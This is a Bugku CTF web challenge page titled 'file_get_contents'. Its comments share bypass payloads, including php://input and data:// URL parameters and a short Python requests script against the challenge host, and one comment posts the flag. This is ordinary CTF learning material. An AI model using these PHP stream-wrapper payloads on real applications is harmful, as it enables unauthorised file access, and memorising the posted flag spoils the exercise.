file_get_contentsWEB 未解决

分数: 30 金币: 3
题目作者: harry
一　　血: npfs
一血奖励: 2金币
解　　决: 5589
提　　示:
描　　述:
file_get_contents？？？？
...
登录回复
评论
xiazhi 2年前
举报

url/?ac=bugku&fn=flag.txt

回复 1
bbggddaa 2年前
举报

https://blog.csdn.net/silence1_/article/details/90241302

回复 0
LLTVLL 2年前
举报

?ac=123&fn=php://input，hackbar中post参数1

回复 0
2324291123 2年前
举报

import requests url='http://114.67.175.224:15234/' url = url + '?ac=f&fn=php://input' data={'f'} re=requests.post(url, data) print(type(re)) print(re.text)

回复 0
一路奔腾 2年前
举报

file_get_contents函数绕过，可以参考https://www.pianshen.com/article/24421724508/

回复 0
steve07222 3年前
举报

http://114.67.175.224:18454/?ac=1&fn=data://text/plain,1

回复 1
wxy1343 3年前
举报

http://114.67.175.224:15664/?ac=1&fn=data:,1

回复 0
wxy1343 3年前
举报

flag{6fccd47ef5e5988f1e2c4989bf554614}

回复 0
你比大葱更美丽 3年前
举报

用php://input的话post传参hackbar好像不行，我是用burp抓包传的才行的

回复 1
turriT0Psis 2年前
举报

谢谢，我试了好久都不行，多亏受到您的点拨

回复 0
Striker123456 3年前
举报

简简单单的变量覆盖

回复 0
Striker123456 3年前
举报

@J_0k3r 没有extract的$fn就不可控了

回复 0
J_0k3r 3年前
举报

不是文件包含吗QAQ，跟变量覆盖有什么关系

回复 1

WriteUp

image
harry

3 金币

立即查看

评分(8)

解题动态

icu 攻破了该题 20小时前
magning 攻破了该题 1天前
1123k 攻破了该题 1天前
cocogalet1 攻破了该题 1天前
jiuxian112 攻破了该题 1天前
青00衿 攻破了该题 2天前
liweiyi 攻破了该题 2天前
qi1102 攻破了该题 2天前
EvinZe 攻破了该题 2天前
张皓杰 攻破了该题 3天前
CCC1112 攻破了该题 3天前
moque 攻破了该题 3天前
南汐 攻破了该题 3天前
牛乳酸菌 攻破了该题 4天前
Amy 攻破了该题 4天前
小懒 攻破了该题 4天前
fss 攻破了该题 4天前
Srouven 攻破了该题 4天前
cl12 攻破了该题 4天前
suhannn 攻破了该题 5天前
问题反馈